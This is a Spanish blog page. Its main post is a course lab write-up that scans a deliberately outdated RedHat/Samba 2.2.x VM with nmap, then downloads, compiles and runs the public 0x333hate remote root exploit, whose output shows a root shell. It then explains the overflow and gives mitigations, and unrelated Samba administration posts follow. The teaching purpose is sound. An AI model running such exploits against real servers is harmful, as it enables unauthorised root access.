Historia breve de un compromiso de seguridad (parte #2) – El acceso no autorizado

Introducción.

En este punto se supone que el servidor se está ejecutando en algún lugar de Internet y que los clientes, incluído el atacante, lo acceden normalmente.

Para realizar cualquier tipo de conexión con el servidor es necesario conocer su dirección IP o en su defecto el nombre FDQN que será traducido por un servidor DNS para obtener finalmente su dirección IP.

Para la práctica se configuró la interfaz de red del Virtualbox en modo puente (bridge) para permitirle al servidor acceder a la red como una máquina independiente y obtener una dirección propia a partir del DHCP.

Es necesario entonces conocer cual es la dirección IP que obtuvo el servidor al cual vamos a acceder, para esto se utiliza el comando ifconfig.

Obtener la dirección IP de un equipo Linux
Obtener la dirección IP de un equipo Linux

A partir de este momento nos referiremos al servidor a través de su dirección IP: 192.168.1.6.

Establecer los servicios activos.

Conociendo la dirección IP del servidor, el atacante puede realizar una revisión de puertos para intentar establecer que servicios tiene activos.

$ sudo nmap -sS -sV 192.168.1.6

Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-13 16:27 COT
Interesting ports on 192.168.1.6:
Not shown: 995 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 3.4p1 (protocol 1.99)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
6000/tcp  open  X11          (access denied)
32768/tcp open  rpcbind
MAC Address: 08:00:27:20:DF:B6 (Cadmus Computer Systems)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds

Nótese como el servidor expone los puertos de los servicios que se instalaron en el paso anterior: el puerto 22 para SSH (con una versión totalmente obsoleta) y el 139 para Samba (versión 2.x).

Irrumpir en el servidor.

En esta práctica, el atacante utiliza el exploit remoto 0x333hate.c o sambal.c para aprovecharse de una vulnerabilidad conocida en Samba 2.2.x (hasta la 2.2.8).

Descargar el exploit.

$ wget http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c

–2009-10-13 16:46:40–  http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c
Resolving www.securityfocus.com… 205.206.231.13, 205.206.231.15, 205.206.231.12
Connecting to www.securityfocus.com|205.206.231.13|:80… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c [following]
–2009-10-13 16:46:40–  http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
Resolving downloads.securityfocus.com… 205.206.231.23
Connecting to downloads.securityfocus.com|205.206.231.23|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 6514 (6.4K) [text/plain]

Saving to: `0x333hate.c’
100%[====================================================================>] 6,514       36.7K/s   in 0.2s
2009-10-13 16:46:41 (36.7 KB/s) – `0x333hate.c’ saved [6514/6514]

Compilar el exploit.

Requiere que las herramientas de desarrollo se encuentren instaladas: build-essential.

$ gcc 0x333hate.c -o 0x333hate

$ ls -l

-rwxr-xr-x 1 jimezam jimezam 15736 2009-10-13 16:46 0x333hate
-rw-r–r– 1 jimezam jimezam  6514 2003-04-30 23:00 0x333hate.c

Ejecutar el exploit.

$ ./0x333hate -t 192.168.1.6


[~] 0x333hate => samba 2.2.x remote root exploit [~]

[~]        coded by c0wboy ~ www.0x333.org       [~]
[-] connecting to 192.168.1.6:139
[-] stating bruteforce

[-] testing 0xbfffffff
[-] testing 0xbffffdff
[-] testing 0xbffffbff
[-] testing 0xbffff9ff
[-] testing 0xbffff7ff
[-] testing 0xbffff5ff
[-] testing 0xbffff3ff
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)

Como se puede apreciar, el exploit nos ha abierto un shell con privilegios de root en el servidor!

Para verificar que esto sea cierto crearemos un archivo de prueba de la siguiente manera.

cd /tmp
touch hacked!
ls -l

-rw-rw-rw-    1 root     root 0 Oct 13 16:48 hacked!

Nótese como el archivo (vacío) creado por los comandos anteriores es propiedad del usuario root, efectivamente tenemos un shell de administrador en el servidor atacado.

El problema.

El problema sucede cuando se copia la información suministrada por el cliente a un buffer estático, el servidor falla al verificar la longitud de esta información permitiéndole a un usuario anónimo corromper posiciones estratégicas de memoria y con esto ejecutar comandos arbitrarios en el servidor con los mismos privilegios con los que se ejecuta el proceso de Samba.

El error sucede en la función call_trans2open() (línea 250) del archivo /source/smbd/trans2.c.

namelen = strlen(pname)+1;
StrnCpy(fname,pname,namelen);

Sugerencias.

  • No confiar nunca en los datos suministrados por el usuario.
  • Realizar los procesos de validación de la información tanto en el cliente como en el servidor.
  • Siempre verificar que la información proveniente del usuario o de la base de datos sea de los tipos y la longitudes esperadas.
  • Mantener siempre actualizado el software con la versión mas reciente posible, especialmente en el servidor.
  • Utilizar firewalls que regulen el flujo de datos tanto de entrada como de salida.
  • Minimizar los servicios ejecutados en el servidor a sólo los necesarios.
  • Bloquear con el firewall el acceso a los servicios según no se requieran desde las distintas interfaces de red del servidor.
  • Revisar con cuidado los registros del servidor cuyas transacciones involucren servicios de hosting gratuitos.

Historia breve de un compromiso de seguridad (parte #1) – Preparando el servidor

Introducción.

Esta miniserie de artículos está basada en una práctica del curso de Arquitecturas de Sistemas Distribuídos de la Especialización en Ingeniería de Software de la UAM que dicté hace poco.  Resultó que el grupo tenía gran interés en los temas de seguridad así que preparé esta práctica que, a pesar de basarse en software obsoleto, es muy interesante y didáctica a mi parecer.

Aclaro que no soy un experto en el tema, sin embargo aprendí un poco al respecto en una experiencia similar que tuve cuando recibí la administración de unos servidores que se encontraban prácticamente desatendidos y por ende desactualizados, dejándolos como una presa fácil para este tipo de ataques.  Por obvias razones no se espera que un servidor se encuentre conectado a Internet en tal estado de desprotección y desactualización.

En esta primera parte se va a realizar la instalación del servidor el cual estará basado en RedHat 8.0 y tendrá los servicios de SSH para acceso remoto y Samba para compartir archivos (ambos ampliamente utilizados).  Para hechos de la práctica el servidor no tendrá firewall sin embargo esto no es necesario ya que sólo requiere tener acceso de conexión a Samba.

Instalación básica del sistema operativo.

El servidor objetivo para mi caso se ubicará en una máquina virtual basada en Virtualbox a la cual le instalaremos una versión básica de Linux RedHat 8.0 con ambiente gráfico, herramientas de administración y desarrollo, y soporte para el protocolo Samba.

Activar el servicio de Samba al inicio del sistema operativo.

$ /usr/sbin/redhat-config-services

Seleccionar smb y presionar los botones de Save y Quit.

Activar el servicio de Samba
Activar el servicio de Samba

Instalar los detectores de rootkits.

Instalación de Chkrootkit.

# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz

# tar zxvf chkrootkit.tar.gz

# cd chkrootkit-*

# make sense

# ./chkrootkit

Instalación de Rkhunter.

# wget http://sourceforge.net/projects/rkhunter/files/rkhunter/1.3.4/rkhunter-1.3.4.tar.gz/download

# tar zxvf rkhunter-*.tar.gz

# cd rkhunter-*

# ./installer-sh –layout default –install

# rkhunter -c

Reiniciar el servidor.

# reboot

Enlaces.

Instalacion de Samba 3.2.x en Linux Debian 5

Instalación.

# apt-get install samba

# apt-get install samba-client

Administración de usuarios.

Listar los usuarios registrados.

# pdbedit -L

Crear una nueva cuenta de usuario.

Como precondición para esta tarea, el usuario debe existir como usuario del sistema operativo.

# smbpasswd -a NOMBRE_USUARIO

Remover una cuenta de usuario previamente existente.

# smbpasswd -x NOMBRE_USUARIO

Desactivar una cuenta de usuario existente.

Esta tarea impide el acceso del usuario al sistema pero no remueve su información del mismo.

# smbpasswd -d NOMBRE_USUARIO

Activar una cuenta de usuario inactiva.

# smbpasswd -e NOMBRE_USUARIO

Cambiar la contraseña de un usuario existente.

# smbpasswd NOMBRE_USUARIO

Agregar un recurso compartido.

Para realizar esto es necesario editar la configuración del archivo smb.conf bajo la sección Share Definitions.

# vi /etc/samba/smb.conf

Agregar una sección similar a esta.

[web]
comment = Proyectos Web
inherit acls = Yes
path = /datos/www
read only = No
browsable = yes
writable = yes
read list = @sistemas
write list = @sistemas
create mask = 0775
directory mask = 0775

La sección anterior de configuración crea un recurso compartido con la siguiente información:

  • El nombre es web y su descripción es Proyectos Web.
  • Hace referencia a la ubicación real /datos/www del sistema de archivos del servidor.
  • El recurso es de lectura y escritura.
  • La lectura y la escritura estan restringidas a los usuarios que pertenezcan al grupo sistemas.
  • Aparece en el listado de recursos compartidos del servidor (browsable).
  • Las máscaras para la creación de archivos y directorios están definidas en 0775.

Para mas información al respecto de como crear recursos compartidos consultar la documentación de Samba: The Samba Configuration File y Advanced Disk Shares.

Verificar el archivo de configuración.

# testparm

Si todo está bien, debe aparecer un listado de las secciones del archivo de configuración y posteriormente un listado de los recursos compartidos (service definitions) sin errores.? En caso de haberlos, se deben corregir antes de continuar.

Reiniciar el servicio.

# /etc/init.d/samba restart

Probar la conexión al servicio recién creado.

Para probar el servicio y el usuario recién creados es posible utilizar la herramienta de línea de comando smbclient con la siguiente estructura.

# smbclient -U NOMBRE_USUARIO //SERVIDOR/RECURSO_COMPARTIDO

Adecuando la invocación de la herramienta al ejemplo del artículo sería de la siguiente manera.

# smbclient -U jimezam //localhost/web

Enter jimezam’s password:
Domain=[D5WEBSERVER] OS=[Unix] Server=[Samba 3.2.5]
smb: > ls
.                                   D        0  Thu Apr 23 08:31:51 2009
..                                  D        0  Thu Apr 16 10:08:43 2009
mapping-jimezam                     A        0  Wed Apr 22 11:33:10 2009
gconfd-jimezam                      D        0  Wed Apr 22 11:33:01 2009
.ICE-unix                          DH        0  Wed Apr 22 11:33:04 2009
.X11-unix                          DH        0  Wed Apr 22 11:32:30 2009
.X0-lock                           HR       11  Wed Apr 22 11:32:30 2009
orbit-jimezam                       D        0 Thu Apr 23 09:34:10 2009
virtual-jimezam.DLe9KX              D        0 Wed Apr 22 11:33:10 2009
keyring-LdVulV                      D        0 Wed Apr 22 11:33:01 2009
seahorse-V3VNUp                     D        0 Wed Apr 22 11:33:03 2009

38110 blocks of size 131072. 14368 blocks available

Enlaces.

Montar un recurso compartido Windows desde Linux

Esta es una actividad extremadamente sencilla, sin embargo me es útil documentarla ya que acostumbra a olvidárseme, especial desde el cambio del tipo de formato smbfs a cifs.

El panorama es claro, del lado del servidor tenemos una máquina Windows (u otro sistema operativo con Samba) con una carpeta compartida.  Del lado del cliente tenemos un equipo con Linux y la distribución -cliente- de Samba instalada.  Se desea montar en la carpeta web del cliente el recurso compartido shared del servidor, utilizando los privilegios del usuario user.

Este procedimiento requiere que se tenga instalado el paquete smbfs en el cliente el cual se puede instalar de la siguiente manera.

$ sudo aptitude install smbf

Para implementar el montaje de la partición remota realizamos los siguientes pasos.

  1. Crear la carpeta /web.  Este paso depende de sus necesidades.$ sudo mkdir /web
    $ sudo chmod 777 /web

  2. Realizar el montaje del recurso compartido.$ sudo mount -t cifs -o user=user //servidor/shared /web

Cambiar las contraseñas del sistema operativo y Samba a través de web

Otro problema que surge al intentar hacer en las empresas lo que mencioné en el post anterior con Samba, es que se manejan dos tipos de contraseñas que deben administrarse por separado: /etc/passwd y /etc/samba/smbpasswd; además su actualización debe hacerse desde la consola, hecho que para los usuarios, incluyendo a la mayoría de personajes de sistemas, es difícil o tedioso. Por eso busqué que software libre me permite actualizar estas contraseñas de manera unificada, simple y desde web.

Extrañamente sólo encontré una solución: ChangePassword alojada en http://changepassword.sourceforge.net/.

ChangePassword permite actualizar las contraseñas de Linux, Samba y Squid (en la Fundación no se utiliza) a través de una interfaz web generada por un CGI.

Su instalación es muy simple.

1. Descargue y descomprima el archivo changepassword-xx.tar.gz. En este momento la versión actual es la 0,9.

2. Edite el archivo conf.h con la información relacionada con la presentación: color de fondo, tipo de fuente, etc.

3. Ejecute el comando configure especificando la información de idioma, el logo, la ubicación del directorio de CGIs, la ubicación del archivo smbpasswd y del archivo de contraseñas de Squid.

./configure –enable-cgidir=/srv/www/cgi-bin
–enable-language=Spanish
–enable-smbpasswd=/etc/samba/smbpasswd
–disable-squidpasswd
–enable-logo=imagenes/logo_fdq.png

La ubicación del logo se referencia desde la raíz del sitio web.

El idioma se toma según los archivos contenidos en el directorio /languages de la distribución.

Después se dan los consabidos make y make install.

El archivo que se debe consultar para actualizar las contraseñas se ubica en:

http://SERVIDOR/cgi-bin/changepassword.cgi

Actualmente estoy recibiendo el mensaje: “No pude renombrar el archivo de contraseñas temporal.” (“Could not rename the temporary password file“), del cual no he podido encontrar su solución 🙁 Le escribí un mensaje al desarrollador a ver si me ayuda con su significado.

La dirección de correo electrónico del desarro

Controlando la máscara con Samba 3

Samba es uno de mis servicios preferidos en *NIX. Sirve para casi todo 😉

Hoy instalé y configuré en 10 minutos el servicio DHCP en el servidor UNO de la Fundación, para probar los equipos con direccionamiento dinámico ya que hasta ahora lo han manejado estático, configurando equipo por equipo. Esto porque dicen, lo cual es extrañamente muy cierto, que la red de Windows algunas veces no responde por nombre y por ello requieren conocer la IP específica de los equipos para poder acceder a los recursos compartidos.

El experimento es pasar las máquinas a direcciones dinámicas (con DHCP) y dentro de sus parámetros se especifica al servidor UNO como servidor de WINS, el cual es provisto por Samba.

Otro servicio que intento que los usuarios de Sistemas utilicen es el acceder a sus directorios HOME para que almacenen allí archivos importantes, incluyendo al directorio public_html donde puedan publicar documentos directamente en la web. En especial, que lo utilicen para el desarrollo de los proyectos y no utilicen versiones desactualizadas en sus equipos o sin los parámetros necesarios, como pasó hace poco, con el register_globals en on :-s.

Activar el servicio de WINS es muy sencillo:

wins support = yes

Con esto me surgió un pequeño problema, los archivos y directorios creados por los usuarios a través de las carpetas compartidas no quedaban con los permisos apropiados para poder ser consultados a través de web.

Una búsqueda rápida en la documentación de Samba me ayudó a encontrar las siguientes líneas que añadidas a la sección global del archivo /etc/samba/smb.conf asignan los permisos apropiados (al menos para mi caso).

force create mode = 0755
force directory mode = 0755

Mas información acerca de las opciones de control de acceso a los archivos, directorios y recursos compartidos se pueden consultar en en capítulo 16 del HOWTO oficial.